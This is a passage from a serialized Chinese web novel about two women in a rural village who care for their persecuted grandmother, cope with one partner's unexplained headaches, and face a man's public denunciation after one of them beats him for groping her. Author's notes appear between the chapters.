“药都被衣服擦干净了。” 刚才被亲得什么都忘记了,手臂蹭着她的衣服,不留神就将刚擦上去的药擦干净了。 季白青实在是困,尾音拉长,“没事……” 温淼还是起来坚持要给她上药,季白青躺平,闭着眼任她动作。 等到终于上好了,她转身抱住温淼,把她往自己怀里拢,说话的声音发散:“明天一起去梅姨那道谢。” 道谢? 温淼有些疑惑,但知道季白青是真的累了,没有继续问下去。 周日要去食品站,在此之前还得给温向荣送个饭。 两人没来得及吃饭,去小石村将早饭放在牛棚的桌子上后才离开。 耽误了点时间,季白青难得一次踩着点到的食品站。 温淼骑着车去国营饭店买了早饭,自己在饭店里吃了后买了两个包子给季白青带去。 今天的猪肉也是在十点多卖完,季白青这次没来得及做什么点心,去梅叙家之前先去供销社买了些东西。 把温向荣那缺的东西给买齐了,又买了一兜子饱腹的点心、鸡蛋糕。 温淼这才将自己的疑惑问出声:“为什么要去向梅姨道谢?” 季白青提着东西往外走,声音压低:“她帮了奶奶忙,如果不是她的话,奶奶可能被调到了更远的地方。” 原剧情中,温向荣被分配到离云水村很远的地方,即使温淼想要照顾她,也有心无力,只能在不需要上工的周日坐车去看她。 温淼闻言,暗暗心惊。 原来,温向荣最开始被下放的地方竟然不是小石村吗? 去之前,季白青特意提醒道:“梅姨还挺喜欢你的,你多和她说说话,可以多聊聊温阿姨。” 温淼点头,坐在自行车后座抱着季白青的腰,她此时努力回忆梅叙的名字到底为什么这么熟悉。 半路上,她突然拍了拍脑袋,“我想起来了!” 她动作有些大,自行车被震得一抖,季白青扶着的车头一扭,两个人险些一同栽下去。 季白青有些无奈:“怎么了?” 温淼有些不好意思地抱紧她的腰,轻声道歉:“对不起,我只是突然想起来为什么觉得梅姨的名字耳熟了。” “我在妈妈的日记本里翻到过她的名字。” 温泠月给温淼留下的东西很多,除了巨额的遗产外,她给温淼买的各式各样的物件可以堆满一个屋子。 但温淼也是偶然在书架上找书看,才找到了温泠月放在书架上的日记。 最开始她还没意识到,只是好奇这是什么笔记本。 后来打开后就翻到一张合照,背后写着温泠月和梅叙的名字。 本子上清隽的字迹写着日期,寥寥几行字却提到了梅叙的名字。 这是温泠月的隐私,意识到了这是温泠月的日记本后她没有再看下去。 那本本子便一直被她锁在了箱子里。 季白青也不知道自己的猜测到底对不对,便没有同她直说,只是道:“那看来温阿姨和梅姨是很好的朋友。” 温淼点了点头,一想到梅叙是温泠月的闺中密友,一时间又有些不自在。 妈妈的朋友,会是怎么看她的? 胡思乱想中,她们很快到了梅叙家门口。 将自行车锁好,季白青左手提着东西,右手拉着温淼走到门前,温淼敲门。 这次来人是季白青第一次见到的那个叫小张的男人,先前她刻意扮成男人,小张此时自然没认出来她是谁。 只是在见着她们后,眼里闪过一丝惊艳,眼神在季白青身上顿了顿。 温淼意识到了这一点后,往前一步,将季白青往身后当,眼神不悦,“你好,我们找梅叙同志。” 小张转过头恭敬对屋里的人开口:“县长,有人找你。” 梅叙抬起头来,从门缝间看见了温淼那张眉眼酷似温岭月的脸。 她心一颤,不动声色道:“让她们进来,小张你先回去吧。” 小张点头,又看了眼季白青,在内心惊叹道,好清秀白净的女同志。 离开时,他还有些不舍。 温淼感受到了他的视线,默不作声将季白青的手牵得更紧了一些。 季白青倒是没有注意到那么多,将买好的东西放在桌上,对梅叙道谢: “梅姨,我们已经见到温奶奶了,多谢你帮忙。” 梅叙轻笑,“都是小事,温姨她现在还好吗?” 温淼点头,“比之前好多了。” 梅叙看着她的脸,走神一瞬,随后想起了什么,道:“对了,温如嫣是阿月的妹妹吗?我在调来的医生名单里看到了她的名字。” 闻言,季白青和温淼皆一愣。 她们都没有想到温如嫣竟然会被调来。 最后还是温淼反应过来,点了点头,“温如嫣是我小姑姑。” 梅叙松了一口气,“那就好,我把她的调职卫生所换成云水村了,再有几天她应该也到了。” 好在不是她猜错了。 季白青回忆着原书的情节,眉心蹙起,多问了一句:“梅姨,我想问一下,原本姑姑她是要被调去哪的?” 梅叙想了想,“卢家村。” 卢家村,季白青低头,掩饰住面色中的震惊。 原书中并没有提到温如嫣也调来了溪亭县,但她对卢家村却还是有深刻的印象。 原书中提到过,卢家村有个赤脚医生因为帮着被拐卖来的妇女逃跑,最后那一家人深夜闯进她家里,用菜刀将其活活砍死。 这件事很快在溪亭县传开,上面很重视,将凶手抓起来枪毙,还派了一队人找到被拐卖的妇女,从而找出人贩子团伙。 在人贩子团伙躲到云水村的时候,陆延发现了她们,最后帮着警察将她们抓拿归案。 陆延的英雄事迹还被登上了报纸,在溪亭县名声大噪。 所以被活活砍死的医生,有可能是温如嫣吗? 她的呼吸凝滞,侧过脸去看温淼,此时温淼正在回答梅叙的问题。 季白青想,原书中的温淼,过得实在是太苦了。 亲人一个一个离开,希望一次次破灭,最终才让她选择了自杀。 她心一痛,头也不受控制地开始发胀,耳边响起巨大的轰鸣声,几乎要将大脑胀破。 她狠狠闭了闭眼,斑斓的光圈从眼前一闪而过,刺得眼珠发涩。 放在身侧的手掌蜷起,握成拳头,肌肉绷紧,藏在衣袖下的青筋明显。 温淼听着她粗重的呼吸,第一时间意识到了不对。 一看向她,发现她神色痛苦,双眼紧闭,唇瓣被咬得发白,鬓边额角都是冷汗,身侧的手臂在发抖。 “阿青,你怎么了?!”她有些慌张,想要抓住她的手臂,却又怕让她情况更加严重。 梅叙见状也皱起眉,起身走到季白青身边,面色冷凝。 “这是怎么了?她不舒服吗?” 温淼摇了摇头,努力镇定下来,轻轻给她按着额角,询问:“阿青,阿青,哪里疼?” 给她按了一会儿,季白青面上的痛苦缓和了一些。 温淼凑近了一些,几乎要哭出来:“阿青……你怎么了?” 身体前倾的动作,她几乎将季白青笼罩住,独属于她身上的那抹暖香慢慢发散开,季白青紧皱的眉心微微舒展开。 不知道过了多久,季白青终于放开了几乎要被咬破的唇,大口地喘着粗气。 此时她睁开眼,眸中不见什么光,显得黯淡无神。 人终于清醒过来,温淼的鼻尖一酸,万般忍耐才止住了要往下掉的泪。 “阿青……”话还说完,腰被还在发颤的手搂上,季白青将她带进自己的怀里抱紧。 感受着怀中人的存在,季白青的手才慢慢恢复正常,呼吸频率也降了下来。 梅叙见两个人抱在一起,一时间也不知道这是恢复还是没恢复,出言询问:“季同志,你现在还好吗?” 季白青的胸口起伏,忍着大脑刺痛的余韵,勉强摇头道:“梅姨,没事。” 她将放在温淼腰上的手放开,看她白着一张脸,轻声安慰:“没事,我这不是老毛病了?别担心。” 其实季白青也不知道,她年纪轻轻怎么就染上了偏头疼的毛病。 问题是去医院检查还检查不出来,原本也不影响生活,只是最近这段时间头疼发作的频率格外高。 总是让温淼担心。 她心里也有些没底,这到底是个什么乱七八糟的毛病? 但不想让温淼过多担心,她只能够那么安慰。 温淼红着眼眶,两人鲜少在外人面前亲昵,放在往日,她们靠得那么近,她早就生气害羞了,但此时却满心都被惶恐担忧占满,没有心力再去思考其它的。 “去医院检查。”她抖着声音说出这话。 季白青按着眉心,在她的注视下点头。 “行行行,待会儿再去。” 她让温淼坐好,有些不好意思地看向梅叙:“梅姨,不好意思啊,吓到你了。” 见她现在终于恢复了正常,梅叙也松了一口气。 她坐了回去,摇头,“没事,只是生病了前往不要讳疾忌医,一定要去医院检查看看的。” 季白青点头。 梅叙也担心她的身体,没再多留,只是说:“下次再过来坐坐吧,趁现在医院还没下班,快去检查检查。” 季白青和温淼同她道别离开,出了门,季白青自觉坐在自行车后座。 她知道这时候温淼肯定不会愿意让她再骑车。 温淼载着她去了医院,又做了一次检查。 最后看着出来的检查结果,季白青一脸无奈。 虽然她头疼,但是是出来的检查结果明显是没问题的。 “真的不是什么大问题,可能是吹风吹久了才头疼。” “别担心,笑一个。”她的手点点温淼的唇。 温淼摇头,将她的手拍开。 “笑不出来。” “既然没问题,那为什么总会头疼?” 同她大眼瞪小眼一会儿,季白青摇头。 她确实不知道。 拿着结果往外走,温淼有些心事重重的。 季白青见不了她这样,千方百计想要逗她开心最终还是毫无效果。 最终只能放弃,还是回去哄人更方便些。 路过邮局,她让温淼停下来,去问有不有自己和温淼的信或是包裹。 结果还真有。 她有一封信,温淼有信和大包裹。 去医院检查耽误了一点时间,回去的时候已经一点多了。 季白青怕饿着温向荣,本来想着先给她送饭过去,却被温淼按下来做好。 她说:“我去给奶奶送饭,你先吃饭。” “我晚点吃……”被温淼用冷淡的目光盯着,季白青的声音渐小,最后干脆闭了嘴。 “好吧,你自己去路上要小心,她只能改口。 在她出门前,季白青那个让她带上给温向荣买的饼干和鸡蛋糕,嘱咐让她叫温向荣藏好。 看她出了门,季白青揉了揉额角。 啊,难办。 都怪她这破身体,也不知道在发什么病。 吃了饭,温淼还没有回来。 季白青猜她大概是留在牛棚和温向荣在说话,便回房间将她的信拆开。 从京市寄来的信,虽然署名并非是陆霁,但季白青也能猜到是她寄来的。 毕竟在京市除了温家人以外,她只认识陆霁一个。 信上的内容不多,两三行字看得季白青皱起眉来。 她先是去灶房将信纸烧了,回到房间才开始细想信上的内容。 温向荣被下放和陆家有关,所以是陆家举报的温向荣? 饶是季白青也没想到,在陆延这个蠢货背后,还有陆老爷子那么个毒货。 让人沦落到如此境地,还想将人置于死地。 原书中温向荣的死大概也和陆家脱不了关系。 她冷笑一声,既然被她提前知道了,那陆延别想好过。 既然陆老爷子想要左右别人的生死,那就别怪她要玩陆延。 不过他也实在是没聪明到哪去,将这种事交给陆延办就可以说明。 【作者有话说】 其实应该还有个营养液加更的,但我写不完了呜呜 如果没有意外,晚点还会更,但宝宝还请不要刻意等[抱抱] (怎么感觉我好像一头勤勤恳恳老黄牛 感谢投雷和营养液,感谢订阅评论收藏 第76章 2w营养液加更 ◎药香◎ 季白青站在窗前,窗外黒沉一片,温淼还没回来。 她出了卧室,正打算拿上手电筒出门去找人,就听见门口传来的脚步声。 温淼进了门,见她手上的手电筒,诧异道:“这么晚了,你去哪?” 季白青摇头,“我看你这么晚都没有回来,想去找你来着。” 视线在她的身上转了一圈,季白青还是多嘴提了一句:“怎么这么晚回来?下次早点回来,太晚了村里也不安全。” 更何况这是跨了两个村的距离。 “知道了,”温淼看她一眼,回答她刚才的问题,“今天奶奶多和我说了会儿话。” 季白青应了一声,帮她盛了碗粥。 温淼吃饭,她就坐在一边看着。 上午被季白青的突发状态吓到,她眼下还带着粉,缀在白皙皮肤上十分明显。 季白青内心生出了几分愧疚,轻声道:“蓁蓁,对不起,今天让你担心了。” 温淼拿着筷子的手顿住,抬起脸来看她,秀气的眉拧起,语气也不大高兴: “为什么要和我说对不起?你是故意的吗?” 季白青张了张嘴,哑然。 她虽然不是故意的,但却实实在在地让温淼担心着急了。 温淼复而低头继续夹菜,只是道:“以后不许因为这个道歉。” 她本来就因为季白青的身体状况担心良多,听见对方还要为此道歉,内心更难过。 头疼又不是季白青能够控制住的。 吃了晚饭,收好碗筷回到房间,温淼掏出一瓶药油让季白青坐在凳子上。 “这是我去问张婶要的药油,她说把药油擦在太阳穴上揉开,再揉百会穴、印堂穴和大椎穴,能缓解头疼。” 季白青听了她的话,心软得不像话。 原来回来晚还是因为去找张婶拿了药油。 她乖顺坐下,任由温淼将药油在她的太阳穴上揉开。 温淼的指腹很软,按在她的太阳穴上的时候动作轻柔,药油的味道不重,她能闻到更为明显的是属于温淼身上的暖香。 将药油点在肌肤上后被慢慢揉开,也不知道是不是心理作用,季白青觉得头疼症状好像明显有所缓解。 等到四个穴位都被揉过一遍后,温淼问:“现在感觉好点了吗?” 季白青眼睛弯起,点头:“好多了蓁蓁。” 在她的唇瓣上啄吻一口,她笑盈盈说:“谢谢老婆。” 温淼把她的脸推开,正色道:“以后难受的话,要和我说,我帮你多揉揉。” 季白青正襟危坐,也很正经地回答:“好,一定和你说。” 其实头疼也就在中午发作了一会儿,现在只还留下轻微的疼,但可以忍受。 温淼帮她揉了穴位后,最后一丝疼也消失了。 女人就在她面前,穿着浅黄色的羊毛衫,海藻般浓密的卷发散落,同柔软的面料一起衬得她娇艳的外貌多了几分温柔。 季白青的心一动,圈住了她的腰,将脸埋进了她的小腹。 闷声闷气的声音从小腹传出:“老婆,你好温柔。” 即使隔着一层布料,温淼也觉得有些痒,低头看着抱着她的季白青,眉眼温软。 将手放在她的后脑上拍了拍,温淼开口:“好啦,去休息了。” 本来今天她就不舒服,这个时候更应该早点休息才对。 抱了好一会儿,季白青才抬起脸来,听温淼的去床上躺着。 等着温淼也上了床,她翻身将腿搭在温淼的腿上,抱住人。 被结结实实地抱着的温淼有些无奈,“怎么喜欢把人抱这么紧。” 季白青有些娇气地哼哼,“怕你跑了。” 这话让温淼一愣,也回抱住季白青,软声道:“怎么可能啊?” 嗅着她身上的暖香,季白青有了几分倦意,声音懒懒:“所以要杜绝这个可能。” 周一温淼忙,几乎一天都是课。 早上去学校前她还有些犹豫,和季白青商量:“你不是身体不舒服吗?今天别去奶奶那了,要不然我不干了,去给奶奶帮忙吧。” 无论是季白青还是温向荣,温淼都心疼。 季白青瞪她一眼,“你好好上课,其它的都交给我。” 在她姝丽的泪痣上亲了一口,“宝宝听我的,我心里有数。” 温淼还不放心,抵着她的额头,与她对视,不愿意放过她眸中的任何情绪。 “真的没有关系吗?” 她不想季白青逞强。 “啧,”季白青亲她鼻尖,“怎么想这么多?” “我现在已经没事了,好老婆,你安心去学校吧。” 即使有她这话保证,温淼去的路上还是一步三回头的,总之很不放心。 季白青勾起唇,在原地站定一会儿才拿起暖壶和饭盒去给温向荣送饭。 一转眼,温向荣被下放已经有一周了。 托钱婶帮忙,每次给她安排的地方都偏僻,没多少人能看到。 季白青和温淼去帮忙、送饭都避着人,没有被太多人发现她们和温向荣的关系。 温如嫣是在周三到的,季白青卖完猪肉回家,就发现家里多了个人。 “小季。”温如嫣笑着同她打招呼。 季白青的眼睛微微瞪大,最后也笑了起来。 “小姑姑。” “蓁蓁在做饭呢。”温如嫣指了指灶房。 季白青拍了拍脑袋,连忙将今天留出来的肉和骨头放到灶房,没多久探出个头来对温如嫣道:“小姑姑,你先坐着歇一会儿,我给淼淼帮忙。” 小妻妻俩的关系还是这么好,盯着她们,温如嫣笑盈盈点头。 午饭时间,温淼和温如嫣两人先去给温向荣送饭。 温如嫣今天才到地方,去卫生所报道后,张婶让她今天先把行李收拾了,现在村里安顿下来。 卫生所旁边有个小屋子,是专门留给外地的赤脚医生居住的。 太久没人住过,灰多,她打扫了好一会儿才来找温淼她们。 温向荣她还没去看,听温淼说她骨折了,温如嫣的脸色顿时严肃起来。 不过伤势到底如何还是要亲眼看了才能知道。 何香月和季伟回来后,季白青将温如嫣来了消息同她们说了。 闻言,何香月有些唏嘘。 “看来她也是个孝顺的。” 亲娘下乡后,温如嫣丝毫不在意别人的眼光,还愿意跟着被调到这穷地方。 何香月叹出一口气:“我们一家人好好对她们,不能因为淼淼的家庭变故就落井下石。” 季白青赞成地点头,很欣慰她娘的三观如此正- 到了地方,温淼将门推开,“奶奶,吃午饭了。” 这段时间温向荣退了烧,脸上的伤口也慢慢复合。 温淼每次给她熬滋补的药都会添点之前挖到的人参须进去,她现在身子骨比起刚来的时候要硬朗一些,也长了点肉。 见屋子里凌乱,她眼神一沉,“又有人来找事了吗?” 温向荣摇了摇头,“没什么大事。” 黑五类是被全村都看不起的存在,有的人对温向荣避如蛇蝎,却还有人想要把她往泥里踩。 变着法地上门找事。 温向荣不想让季白青她们担心,最主要的是不想要牵连到她们,所以从不主动说。 还是温淼从她的身上看到了新增的伤痕后才知道原来在她们看不到的地方,温向荣被人欺负了。 温向荣好歹是在部队里呆了几十年的人,即使瘸了一条腿对付那*些人也不在话下。 可她现在的成分出了问题,随便对人动手,即使只是为了自卫,身上的罪名也会多一条。 她不能动手。 见她避而不谈,温淼抿着唇。 转身让温如嫣进来。 对上温向荣错愕的脸,温如嫣对她柔柔一笑。 “娘,好久不见。” 温向荣站起来,“你怎么来了?!” 温如嫣上前搀扶着她,“我申请调职了,被调到了小季和蓁蓁的村里。” 温向荣一拍桌子,厉声呵斥:“荒唐,你好好的调什么职!” 温如嫣面上的笑容不变,没有在乎温向荣的冷言冷语。 “娘,我总不能放任你不管吧?好了,让我看看你腿上的伤。” 事情早就已经成了定局,再怎么说都不能改变了。 正是因为这一点,温如嫣并不紧张。 温向荣显然也想到了,面色不虞,却没有说其它的话。 任由温如嫣将自己的裤管捞上去查看。 见到了错位的几乎要将膝盖皮肤戳破的骨头,温如嫣皱着眉,觉得有些难办。 她并不是骨科的医生,对处理这一方面的伤势也不太擅长,还是得先去医院问问。 将她裤子放了下去,她又看看温向荣脸上的疤痕,“要伤全好,大概要一个多月的时间。” 温向荣不太关心这些,该干什么干什么,低头吃饭。 下午还有活,虽然季白青骂不走,会帮她干大半的活,但她并不想要她将全部的活儿都包揽下来。 不过是个比温淼还要小的姑娘,怎么可能会不累。 吃了饭,她还有时间再睡个午觉,便开口赶人:“行了,快走吧,我要休息了。” 收起饭盒,温淼和温如嫣回季家。 路上,温如嫣的神色才凝重起来。 “脸上的伤要好好处理,不然会反复溃烂,腿上的伤也很严重。” “下午带我去镇上的医院一趟,我去问问具体要怎么处理。” 她来的时候没带什么东西,必备用品带上了,其它的是打算现买的。 温淼点了点头。 到了季家,温如嫣见着何香月和季伟也没有任何不自在,笑着和她们打招呼。 “香月姐、姐夫。” 何香月上前,热情地招呼她坐下。 “哎呀,你就是嫣嫣吧,我听淼淼提起过好多次。” 将她上下打量一番,何香月发自内心夸赞:“和淼淼长得一样标志!” 季白青悄悄走到温淼身后,和她咬耳朵:“都说了不用担心,只要是你的家人,我娘爹都会很喜欢的。” 温淼的心一暖,也低声道:“婶子和季叔人都很好。” 和乐融融地吃了一顿午饭,下午季白青要去帮温向荣干活,只能让温淼和温如嫣两个人去镇上。 她撑着脸觉得有些可惜,“姑姑,下次有时间带你去镇上,到时候我们请你去国营饭店吃饭。” 温如嫣笑着点头,“好啊,那下次我肯定要好好吃一顿。” 揣了两个袋子进口袋,准备到时候用来装东西,温淼拿上钱和票,便和温如嫣一起往镇上去。 溪宁镇温如嫣并不熟悉,所以是温淼骑着自行车载她的。 坐在后座,温如嫣看着面前温淼清瘦的背影,有些感叹。 自家娇气的小姑娘是真的长大了很多。 到镇上后,时间还早,镇上医院的医生没有正式上班,温淼便带着温如嫣一起先去了供销社。 温如嫣买了暖水壶、盆、搪瓷杯这些必需品,被褥这些她从京市寄过来的,大概还有几天才能到,这几天就先借着季家的用也没关系。 买好东西,也差不多到医院的上班时间了。 姑侄两人去骨科排队,前面没几个人,很快就到了她们。 温如嫣将温向荣身上的症状描述给医生听,医生听完后,沉吟一声: “如果有条件的话,最好还是带病人来医院看看,骨头错位的话肯定是需要复位的,复位之后才能够固定恢复。听你们的描述,病人大概不好受,最好每天用帕子冷敷十几分钟。” 简而言之就是,最好还是带到医院来看看,由专业人士操作。 让医生开了些擦的药后,温如嫣去取了药,又多抓了些其它药材。 再回头,却见温淼正在和一个陌生的短发女人说着什么。 温淼对面的女人看起来大概二十多岁,留着一头齐肩短发,五官深邃,配上狭长的凤眼和深色薄唇,冷艳惑人。 温如嫣挑了挑眉,走上前搭上温淼的肩膀。 “这是?”她有些疑惑地看着对面的女人。 温淼给她介绍:“姑姑,这是尚敏,我和阿青的朋友。” “尚厂长,这是我姑姑。” 闻言,温如嫣心里放松了些。 原来是两人共同的朋友,是她多想了。 她对尚敏弯唇一笑,“你好尚敏同志,我是温如嫣,不介意的话和淼淼一样叫我一声姑姑就好。” 温淼的朋友,理应叫她姑姑才对。 尚敏看着面前的古典美人,内心惊叹。 果然,漂亮的人的亲戚也是漂亮的。 温如嫣和温淼是两种不同的美,一柔婉一娇美,就是温如嫣怎么看着都不像是能够做她姑姑的年纪。 她纠结一会儿,最后还是按照她的话来叫。 “姑姑好,叫我小敏就行。” 温淼看她脸色有些苍白,“你来医院看病?看起来脸色好差,让我姑姑给你看看。” 她很信任温如嫣的医术。 尚敏有些惊讶地看她一眼,“可以吗?” 温如嫣轻轻颔首。 找了个隐蔽的角落给,温如嫣让她伸出手,细白的手指搭上了她的手腕,认真感受脉搏。 “失眠?有些多思,喝点清心安眠的药。有点风热感冒,买点除热的药。” 温如嫣收回了手,问她:“小敏?带纸和笔了吗?我给你写个方子。” 尚敏一愣,从口袋里掏出小本子和笔,这是她平时做记录用的。 温如嫣将能用上的药材写好后把纸笔还给她。 温淼在一边笑眯眯的:“尚厂长,你放心吧,我姑姑医术很好的,你按照方子和一两天大概就能好了。” 尚敏点头,“谢谢……姑姑。” 给人把完脉,温如嫣她们也要回去了。 她笑着对尚敏挥了挥手,“再见。” 看着两人的背影渐远,尚敏低头看着之上娟秀的字迹。 没忍住将笔凑到鼻尖嗅了嗅。 她果然没闻错,温如嫣的身上带着一股药香。 温淼和温如嫣走远了些,温淼才开口:“姑姑,你刚才干什么?” 她知道温如嫣一向是很有分寸感的人,从来不主动打断别人说话。 温如嫣有些尴尬地摸了摸自己的鼻尖:“我还以为刚才那位喜欢你。” 在她看来,季白青在现在的情况下还能够对温淼那么好,温淼肯定不能辜负她。 温淼失笑,“只是普通朋友而已,不过以前一起相看过。” 温如嫣一愣,“我就知道她喜欢女人。” 温淼想起来那一段经历还觉得有些好笑,说给温如嫣听。 “然后阿青每次见她都要跟我吃醋。” “看清自己的心意是需要一个过程的。”温如嫣其实还挺能理解季白青那时候的心情。 更别说她现在对季白青怎么看怎么满意,言语间肯定要维护一下。 温淼看她一眼,眼神责怪:“你到底是谁的亲姑姑?” 温如嫣眼神含笑,自如道:“你们两个人的亲姑姑啊。” 温淼哼了一声,明明她现在就是胳膊肘往季白青那拐了。 不过一想,其实还挺正常的。 毕竟季白青那么好,招人喜欢也没错。 温如嫣见她停在原地,揉揉她的头:“回去了,愣着干什么。” 回去后,温淼帮着温如嫣一起将她住的小房间收拾了一番,药材也都放在了她这,这有煎药的炉子,更方便。 赤脚医生刚被分配下来,也有口粮分配。 温淼陪着温如嫣把粮食领回去。 晚饭,温淼干脆让温如嫣留下再吃一顿晚饭,正做着饭,突然听见院子外面的声音渐大。 温淼皱着眉,出了灶房,就听见男人嘹亮的一声: “你就是姓季的吧,你家闺女天天和黑五类混在一起,迟早连累你们!” 【作者有话说】 还有五千字等下次~~~ 以及今天晚上还是正常更新,么么么! 感谢投雷和营养液,感谢评论订阅收藏[红心] 77 第77章 ◎报复◎ 今天分配给温向荣的活是插秧,要她一个人在一天内将这亩地给插完。 温向荣的腿脚不便,插秧时大部分时间又都需要泡在水田里,一上午过去,她的腿脚被泡得发白,指甲缝里都是淤泥,腰弯得几乎直不起来,累成这样,最后一上午过去还是连一半的量都没有完成。 季白青上午有工作要去食品站,回家吃了午饭才上地里给温向荣帮忙。 她到的时候,温向荣正挑着秧苗一瘸一拐地走在田埂上。 见状,季白青上前去将她肩上的担子接过来。 “奶奶,我来挑秧,你先去田里插秧。” 队上给温向荣分配下来的水田离秧苗田最远,秧苗压在肩上分量沉重,来回挑着担子要废很大的劲。 换做以前的温向荣可能还觉得游刃有余,但是以温向荣现在的身体条件来看,明显坚持不了多久。 季白青想,如果不是她会来给温向荣帮忙,温向荣怕是干一天一夜才能勉强把这活干完。 而且温向荣每天干最重的活儿,却还是领五分的工分。 小孩做割猪草这种简单的活计都能够记下来一两工分! 温向荣扶着膝盖喘着气,一上午过去确实被累得不轻,便也没有坚持要自己来。 将两大桶秧苗放到田埂上,季白青往秧苗田去。 过去的时候还没人,季白青松了口气。 都不是一个村的,她一个人也更自在一点。 她低头将秧苗拔出来,一把一把地捆好,放进大桶里。 刚将一个桶装满,,季白青就听见了逐渐靠近的脚步声。 抬头看了眼,是上次那瘦竹竿似的男人。 她没理会,再度低下头,继续拔秧苗。 瘦竹竿也是走近才发现是季白青,原本想着上次这女人下的狠手,还有些心有余悸。 但眼神一落在她身上就有些挪不开了。 下午两点的日光正盛,秧苗田里都是泥浆,季白青不想让裤子沾上太多泥水,便将裤腿捞到了膝盖上。 明晃晃的光线一照,显得她的脸颊莹白,露出来的小腿也白得晃人眼。 瘦竹竿没见过比这女人还要白的人。 他暗自咽了口口水,忘了之前对她的忌惮。 总归是个细胳膊细腿的女人,他就不信对方能打得过自己。 更何况现在这边就她们两个人…… 瘦竹竿嘿嘿一笑,将扁担放下,搓着手凑过去。 “同志,你还记得我吗?” “上次我们见过的,你还不小心用锄头捅到了我的肚子。” 季白青一言不发地继续干着手上的活,懒得理他。 她没什么反应,瘦竹竿也没气馁,继续觍着脸开口:“同志,你是不是又来帮那个老太婆?其实我看她也不是真的坏,有时候太可怜我都想去帮帮她,这一点上我们的观念很一致啊。” 说话时,他的眼睛垂涎地落在她那截雪白的小腿上,没忍住上手摸了一把。 “啊!” 下一秒,男人的惨叫声响起。 季白青的额角一跳,沉着脸站起来,毫不犹豫地踹了他一脚,将他踹倒在泥沟里。 男人瞬间从头到脚都溅上了泥水。 一想到刚才的恶心的触感,季白青全身起鸡皮疙瘩。 阴着脸捏着瘦竹竿的下巴,左右开弓打了两巴掌。 “老娘真是给你脸了。”这是季白青得出来的结论。 男人被她扇得脑瓜子嗡嗡作响,嘴还被她捏着,说不出求饶的话,只能剧烈地“唔唔”。 季白青听得心烦,随手抓了一把泥巴往他的嘴里塞。 她将男人放开,冷眼看着对方偏过头去咳得撕心裂肺。 “下次再来惹我,就不是这么简单就能过去的了。”她丢下这一句话后,用水拍了拍刚才被男人摸过的地方,继续蹲下拔秧苗。 男人好不容易将嘴里的泥水都咳了出去,身上全是泥腥味,像个彻底的泥人。 他瞪大眼睛看向季白青,刚才的窒息感似乎还存在,现在的他脸色涨红,像个破风箱似的大口地喘着粗气。 疯子。 这个女人是个疯子。 他爬起来,连掉落的鞋和扁担都不顾,一路往家狂奔。 到了家后,他将门栓好,一屁股跌坐在地上,一直到身上的泥浆都被风干了才回过神来。 意识到自己刚才落荒而逃的行为有多丢脸后,瘦竹竿的脸色难看起来。 那个女人,居然敢这么对他。 不就只是摸了一下她的腿吗? 他脸色多了几分怨怼,眼珠子一转,突然想到了报复的方法。 既然她不识好歹,那他也不会再给她面子了。 到了往常的下工时间,想着先前和村长一起去找茬时季白青的话,他去了云水村,在村口随意拉住一人问:“你们村姓季的住在哪?” 被拉住的人莫名看了他一眼,“你要找季伟家是不是?季伟家就在那边。” 他指了个方向。 瘦竹竿放开他,刚走到季家门前,立马大声嚷嚷:“大家给我评评理啊!” “季伟家的闺女大庭广众之下动手打我啊!” 这话出口,陆续下工的人都聚了过来看热闹。 “他在说白青?” “不能吧,白青那孩子多老实,怎么可能随便对别人动手?” “这人谁啊,根本不认识,该不会是什么骗子吧?” 村民们聚拢在一起,交头接耳,对着瘦竹竿指指点点。 瘦竹竿怎么也没想到云水村的人那么不讲理,明明是那个女人的错,她们却还怀疑自己的话是假的! 他的脸黑了下来,正要开口继续将季白青的事都出来,突然人群中有人高声道: “何香月和季伟回来了,大家快给她们让让路!” 何香月和季伟刚将农具放回仓库,往家走的时候大老远就看见了家门口聚集的一群人。 妻夫两人对视一眼,同时皱起了眉,大步地走过去,穿过人群走到了男人的面前。 “你就是姓季的吧,你家闺女天天和黑五类混在一起,迟早连累你们!”男人看着他,恨恨开口。 话音刚落,人群里的声音逐渐变大。 “什么黑五类?” “白青那丫头和黑五类搅在一起?” …… 听着周围的讨论声,瘦竹竿正得意,突然脸上又被添了个巴掌印。 何香月叉腰指着他的鼻子骂:“你个生儿子没屁|眼的坏东西,瞎咧咧什么玩意,再敢胡说八道信不信老娘把你嘴给撕了!” 男人捂着被打的脸,不可置信地看着面前泼辣的女人。 他没想到那疯女人的娘也那么不见道理,竟然一上来就是不分青红皂白地打他。 他彻底恼了,“我哪里瞎咧咧的?!我们村来了个黑五类,你女儿天天去帮她干活!这不是搅在一起是什么!能和坏分子混到一起去的还能是什么好人,果然,现在一看你们一家子都不讲道理!” 他抬起头,一眼看到了蹙眉走近的温淼,磨了磨牙,继续道:“你女儿还和个女人搞同性恋,恶不恶心?!” 这话听得何香月的手都在发抖,被他气得说不出话来。 周围看热闹的熟悉邻里听他所说的话后,都对何香月和季伟投去了异样的眼神。 温淼的脸色冰冷,看着男人开口道:“同性领证早就合法了,你说我们恶心,是在质疑上面出来的决定吗?” 趁着男人被噎得说不出话来,她扭头对季伟道:“叔,他这样是需要评判教育的吧?” 这话一出,男人的脸瞬间白了。 季伟点了点头,将想要逃跑的男人按住,往李向东家走。 男人见逃不过,干脆开始破口大骂:“你们家都不是什么好东西!和黑五类走得近的全都是坏分子!” 两人走远了都还能够听见男人的声音。 看热闹的人听了一嘴季家的事,此时看向她们的眼神也有些奇怪,嫌弃、幸灾乐祸。 何香月眼睛一翻,对她们恶声恶气道:“看什么看!” 她性格泼辣,大多数人都不敢惹火上身,最后纷纷离开,只是回去的时候没忘记将今天所见所闻大肆宣扬一番。 人渐渐散去,孙大娘这才到了季家的院子里担心地开口: “香月啊,那个瘪犊子说的话是真的假的啊?白青好好个姑娘怎么能和黑五类混在一起呢,你们多劝劝啊!” 她算是看着季白青长大的,对季白青的感情自然也深厚,不希望季白青去做什么傻事。 温淼听了这话,低下了头,指尖掐着手心,颊边的黑发垂下来,挡住了脸上复杂的神色。 “娘,菜还在锅里,我回去看看。” 她丢下一句,有些狼狈地往灶房里走。 担心地看了眼她的背影,何香月才压低声音回答孙大娘:“哪里是什么黑五类,那是淼淼的亲奶奶,被举报了才下放的,我们总不能没有良心,放着不管吧。” 孙大娘闻言,也愣了会儿,最后觉得有些唏嘘。 “那我刚才不该这么说的,你替我给淼淼赔个不是。” 见何香月点头后,孙大娘也没再继续待下去了。 何香月进了灶房,将孙大娘的话带给温淼听了。 “她们那些话你都别放在心里,我们自己过好自己的日子就行,别管别人怎么说。”她多安慰温淼一句。 温淼不想让她担心,对她一笑,点头。 “放心吧婶,我没放在心里。” 这话也不算是作假,她对这些言论都可以忍受。 